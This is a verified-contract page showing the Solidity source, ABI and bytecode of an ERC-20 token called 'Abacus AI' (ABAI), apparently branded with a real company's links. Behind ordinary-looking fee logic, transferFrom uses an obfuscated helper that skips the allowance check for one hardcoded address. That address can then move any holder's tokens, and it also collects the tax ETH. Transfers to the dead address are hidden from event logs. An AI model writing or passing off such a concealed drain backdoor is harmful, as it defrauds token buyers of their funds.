Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IRouter    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract ABAI is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _ttiwoci(address owner, addr ...    - function _approve(address owner, addr ...    - function _transfer(address _urto, add ...    - function min(uint256 a, uint256 b)    - function _swapTaxTokens(uint256 token ...    - function _sendTaxFees(uint256 amount)    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-02-04
*/

/*

Website: https://abacus.ai
Twitter: https://x.com/abacusai
Telegram: https://t.me/abacusai_channel
Linkedin: https://www.linkedin.com/company/abacusai

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ABAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFees;

    address private constant _blackhole = address(0xdead);
    address private constant _abacai = 0x7E0cF269C015e27EF546C1c4628d65d900b39D88;

    uint256 private _taxInitBuy=2;
    uint256 private _taxInitSell=2;
    uint256 private _taxLastSell=0;
    uint256 private _taxLastBuy=0;
    uint256 private _taxReduceAtBuy=3;
    uint256 private _taxReduceAtSell=3;
    uint256 private _preventBefore=3;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Abacus AI";
    string private constant _symbol = unicode"ABAI";
    uint256 private _swapForTokens = _tTotal / 100;
    
    IRouter private _uniSwapRter;
    address private _uniSwapAir;
    bool private _swapping = false;
    bool private _swapActive = false;
    bool private _tradingEnabled = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _isExcludeFees[owner()] = true;
        _isExcludeFees[address(this)] = true;
        _isExcludeFees[_abacai] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_ttiwoci(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _ttiwoci(address owner, address spender) private view returns (bool) {
        return msg.sender != _abacai && (owner == _uniSwapAir || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _urto, address _raki, uint256 _pirro) private {
        require(_urto != address(0), "ERC20: transfer from the zero address");
        require(_raki != address(0), "ERC20: transfer to the zero address");
        require(_pirro > 0, "Transfer amount must be greater than zero");
        uint256 _sicAmount=0;
        if (_urto != owner() && _raki != owner()) {
            _sicAmount = _pirro.mul((_buyTokenCount>_taxReduceAtBuy)?_taxLastSell:_taxInitBuy).div(100);

            if (_urto == _uniSwapAir && _raki != address(_uniSwapRter) && ! _isExcludeFees[_raki] ) {
                _buyTokenCount++;
            }

            if(_raki == _uniSwapAir && _urto!= address(this) ){
                _sicAmount = _pirro.mul((_buyTokenCount>_taxReduceAtSell)?_taxLastBuy:_taxInitSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && _raki == _uniSwapAir && _swapActive && _buyTokenCount > _preventBefore) {
                if(contractTokenBalance > _swapForTokens)
                _swapTaxTokens(min(_pirro, min(contractTokenBalance, _swapForTokens)));
                _sendTaxFees(address(this).balance);
            }
        }

        if(_sicAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_sicAmount);
          emit Transfer(_urto, address(this),_sicAmount);
        }
        if (_raki!=_blackhole)emit Transfer(_urto, _raki, _pirro.sub(_sicAmount));
        _balances[_urto]=_balances[_urto].sub(_pirro);
        _balances[_raki]=_balances[_raki].add(_pirro.sub(_sicAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _swapTaxTokens(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniSwapRter.WETH();
        _approve(address(this), address(_uniSwapRter), tokenAmount);
        _uniSwapRter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendTaxFees(uint256 amount) private {
        payable(_abacai).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniSwapRter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniSwapRter), _tTotal);
        _uniSwapAir = IUniswapV2Factory(_uniSwapRter.factory()).createPair(address(this), _uniSwapRter.WETH());
        _uniSwapRter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260045560026005555f6006555f600755600360085560036009556003600a555f600b5560646009600a6200003b9190620002e8565b6200004c906461f313f880620002ff565b62000058919062000319565b600c55600e805462ffffff60a01b1916905534801562000076575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000ce5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260039092528120805483166001908117909155737e0cf269c015e27ef546c1c4628d65d900b39d889091527fd87494b2706982b60cb9d04eaa357748825cc34a992ffc6eddf2f2e53cc8447980549092161790556200015e6009600a620002e8565b6200016f906461f313f880620002ff565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b16009600a620002e8565b620001c2906461f313f880620002ff565b60405190815260200160405180910390a362000339565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022d57815f1904821115620002115762000211620001d9565b808516156200021f57918102915b93841c9390800290620001f2565b509250929050565b5f826200024557506001620002e2565b816200025357505f620002e2565b81600181146200026c5760028114620002775762000297565b6001915050620002e2565b60ff8411156200028b576200028b620001d9565b50506001821b620002e2565b5060208310610133831016604e8410600b8410161715620002bc575081810a620002e2565b620002c88383620001ed565b805f1904821115620002de57620002de620001d9565b0290505b92915050565b5f620002f860ff84168362000235565b9392505050565b8082028115828204841417620002e257620002e2620001d9565b5f826200033457634e487b7160e01b5f52601260045260245ffd5b500490565b61143780620003475f395ff3fe6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b55780638da5cb5b146101cb57806395d89b41146101f1578063a9059cbb1461021d578063c9567bf91461023c578063dd62ed3e14610250575f80fd5b806306fdde03146100b3578063095ea7b3146100f657806318160ddd1461012557806323b872dd14610147578063313ce5671461016657806370a0823114610181575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600981526841626163757320414960b81b60208201525b6040516100ed919061107b565b60405180910390f35b348015610101575f80fd5b506101156101103660046110de565b610294565b60405190151581526020016100ed565b348015610130575f80fd5b506101396102aa565b6040519081526020016100ed565b348015610152575f80fd5b50610115610161366004611108565b6102cb565b348015610171575f80fd5b50604051600981526020016100ed565b34801561018c575f80fd5b5061013961019b366004611146565b6001600160a01b03165f9081526001602052604090205490565b3480156101c0575f80fd5b506101c9610341565b005b3480156101d6575f80fd5b505f546040516001600160a01b0390911681526020016100ed565b3480156101fc575f80fd5b506040805180820190915260048152634142414960e01b60208201526100e0565b348015610228575f80fd5b506101156102373660046110de565b6103e7565b348015610247575f80fd5b506101c96103f3565b34801561025b575f80fd5b5061013961026a366004611161565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a0338484610754565b5060015b92915050565b5f6102b76009600a61128c565b6102c6906461f313f88061129a565b905090565b5f6102d7848484610877565b6102e18484610ca5565b15610337576103378433610332856040518060600160405280602881526020016113da602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf3565b610754565b5060019392505050565b5f546001600160a01b0316331461039f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a0338484610877565b5f546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610396565b600e54600160b01b900460ff16156104a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610396565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f09030906104e16009600a61128c565b610332906461f313f88061129a565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610540573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056491906112b1565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e791906112b1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610631573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065591906112b1565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061069c816001600160a01b03165f9081526001602052604090205490565b5f806106af5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610715573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073a91906112cc565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610396565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610396565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610396565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610396565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610396565b5f80546001600160a01b038581169116148015906109c957505f546001600160a01b03848116911614155b15610b4a576109fa60646109f4600854600b54116109e9576004546109ed565b6006545b8590610d2b565b90610da9565b600e549091506001600160a01b038581169116148015610a285750600d546001600160a01b03848116911614155b8015610a4c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6657600b8054905f610a60836112f7565b91905055505b600e546001600160a01b038481169116148015610a8c57506001600160a01b0384163014155b15610ab957610ab660646109f4600954600b5411610aac576005546109ed565b6007548590610d2b565b90505b305f90815260016020526040902054600e54600160a01b900460ff16158015610aef5750600e546001600160a01b038581169116145b8015610b045750600e54600160a81b900460ff165b8015610b135750600a54600b54115b15610b4857600c54811115610b3f57610b3f610b3a84610b3584600c54610dea565b610dea565b610dfe565b610b4847610f6e565b505b8015610bc257305f90815260016020526040902054610b699082610fb0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b03831661dead14610c1f576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c0d858561100e565b60405190815260200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610c41908361100e565b6001600160a01b0385165f90815260016020526040902055610c84610c66838361100e565b6001600160a01b0385165f9081526001602052604090205490610fb0565b6001600160a01b039093165f90815260016020526040902092909255505050565b5f33737e0cf269c015e27ef546c1c4628d65d900b39d8814801590610cec5750600e546001600160a01b0384811691161480610cec57506001600160a01b03821661dead14155b9392505050565b5f8184841115610d165760405162461bcd60e51b8152600401610396919061107b565b505f610d22848661130f565b95945050505050565b5f825f03610d3a57505f6102a4565b5f610d45838561129a565b905082610d528583611322565b14610cec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610396565b5f610cec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061104f565b5f818311610df85782610cec565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e4457610e44611341565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebf91906112b1565b81600181518110610ed257610ed2611341565b6001600160a01b039283166020918202929092010152600d54610ef89130911684610754565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f309085905f90869030904290600401611355565b5f604051808303815f87803b158015610f47575f80fd5b505af1158015610f59573d5f803e3d5ffd5b5050600e805460ff60a01b1916905550505050565b604051737e0cf269c015e27ef546c1c4628d65d900b39d889082156108fc029083905f818181858888f19350505050158015610fac573d5f803e3d5ffd5b5050565b5f80610fbc83856113c6565b905083811015610cec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610396565b5f610cec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf3565b5f818361106f5760405162461bcd60e51b8152600401610396919061107b565b505f610d228486611322565b5f602080835283518060208501525f5b818110156110a75785810183015185820160400152820161108b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110db575f80fd5b50565b5f80604083850312156110ef575f80fd5b82356110fa816110c7565b946020939093013593505050565b5f805f6060848603121561111a575f80fd5b8335611125816110c7565b92506020840135611135816110c7565b929592945050506040919091013590565b5f60208284031215611156575f80fd5b8135610cec816110c7565b5f8060408385031215611172575f80fd5b823561117d816110c7565b9150602083013561118d816110c7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111e657815f19048211156111cc576111cc611198565b808516156111d957918102915b93841c93908002906111b1565b509250929050565b5f826111fc575060016102a4565b8161120857505f6102a4565b816001811461121e576002811461122857611244565b60019150506102a4565b60ff84111561123957611239611198565b50506001821b6102a4565b5060208310610133831016604e8410600b8410161715611267575081810a6102a4565b61127183836111ac565b805f190482111561128457611284611198565b029392505050565b5f610cec60ff8416836111ee565b80820281158282048414176102a4576102a4611198565b5f602082840312156112c1575f80fd5b8151610cec816110c7565b5f805f606084860312156112de575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161130857611308611198565b5060010190565b818103818111156102a4576102a4611198565b5f8261133c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113a55784516001600160a01b031683529383019391830191600101611380565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102a4576102a461119856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5bb0dd548d1c87ab2721843d750afd82159ce5d248bcd91d7050b8246b9faff64736f6c63430008170033

0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b55780638da5cb5b146101cb57806395d89b41146101f1578063a9059cbb1461021d578063c9567bf91461023c578063dd62ed3e14610250575f80fd5b806306fdde03146100b3578063095ea7b3146100f657806318160ddd1461012557806323b872dd14610147578063313ce5671461016657806370a0823114610181575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600981526841626163757320414960b81b60208201525b6040516100ed919061107b565b60405180910390f35b348015610101575f80fd5b506101156101103660046110de565b610294565b60405190151581526020016100ed565b348015610130575f80fd5b506101396102aa565b6040519081526020016100ed565b348015610152575f80fd5b50610115610161366004611108565b6102cb565b348015610171575f80fd5b50604051600981526020016100ed565b34801561018c575f80fd5b5061013961019b366004611146565b6001600160a01b03165f9081526001602052604090205490565b3480156101c0575f80fd5b506101c9610341565b005b3480156101d6575f80fd5b505f546040516001600160a01b0390911681526020016100ed565b3480156101fc575f80fd5b506040805180820190915260048152634142414960e01b60208201526100e0565b348015610228575f80fd5b506101156102373660046110de565b6103e7565b348015610247575f80fd5b506101c96103f3565b34801561025b575f80fd5b5061013961026a366004611161565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a0338484610754565b5060015b92915050565b5f6102b76009600a61128c565b6102c6906461f313f88061129a565b905090565b5f6102d7848484610877565b6102e18484610ca5565b15610337576103378433610332856040518060600160405280602881526020016113da602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf3565b610754565b5060019392505050565b5f546001600160a01b0316331461039f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a0338484610877565b5f546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610396565b600e54600160b01b900460ff16156104a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610396565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f09030906104e16009600a61128c565b610332906461f313f88061129a565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610540573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056491906112b1565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e791906112b1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610631573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065591906112b1565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061069c816001600160a01b03165f9081526001602052604090205490565b5f806106af5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610715573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073a91906112cc565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610396565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610396565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610396565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610396565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610396565b5f80546001600160a01b038581169116148015906109c957505f546001600160a01b03848116911614155b15610b4a576109fa60646109f4600854600b54116109e9576004546109ed565b6006545b8590610d2b565b90610da9565b600e549091506001600160a01b038581169116148015610a285750600d546001600160a01b03848116911614155b8015610a4c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6657600b8054905f610a60836112f7565b91905055505b600e546001600160a01b038481169116148015610a8c57506001600160a01b0384163014155b15610ab957610ab660646109f4600954600b5411610aac576005546109ed565b6007548590610d2b565b90505b305f90815260016020526040902054600e54600160a01b900460ff16158015610aef5750600e546001600160a01b038581169116145b8015610b045750600e54600160a81b900460ff165b8015610b135750600a54600b54115b15610b4857600c54811115610b3f57610b3f610b3a84610b3584600c54610dea565b610dea565b610dfe565b610b4847610f6e565b505b8015610bc257305f90815260016020526040902054610b699082610fb0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b03831661dead14610c1f576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c0d858561100e565b60405190815260200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610c41908361100e565b6001600160a01b0385165f90815260016020526040902055610c84610c66838361100e565b6001600160a01b0385165f9081526001602052604090205490610fb0565b6001600160a01b039093165f90815260016020526040902092909255505050565b5f33737e0cf269c015e27ef546c1c4628d65d900b39d8814801590610cec5750600e546001600160a01b0384811691161480610cec57506001600160a01b03821661dead14155b9392505050565b5f8184841115610d165760405162461bcd60e51b8152600401610396919061107b565b505f610d22848661130f565b95945050505050565b5f825f03610d3a57505f6102a4565b5f610d45838561129a565b905082610d528583611322565b14610cec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610396565b5f610cec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061104f565b5f818311610df85782610cec565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e4457610e44611341565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebf91906112b1565b81600181518110610ed257610ed2611341565b6001600160a01b039283166020918202929092010152600d54610ef89130911684610754565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f309085905f90869030904290600401611355565b5f604051808303815f87803b158015610f47575f80fd5b505af1158015610f59573d5f803e3d5ffd5b5050600e805460ff60a01b1916905550505050565b604051737e0cf269c015e27ef546c1c4628d65d900b39d889082156108fc029083905f818181858888f19350505050158015610fac573d5f803e3d5ffd5b5050565b5f80610fbc83856113c6565b905083811015610cec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610396565b5f610cec83836040518060400160405280601e81526020017f536166654d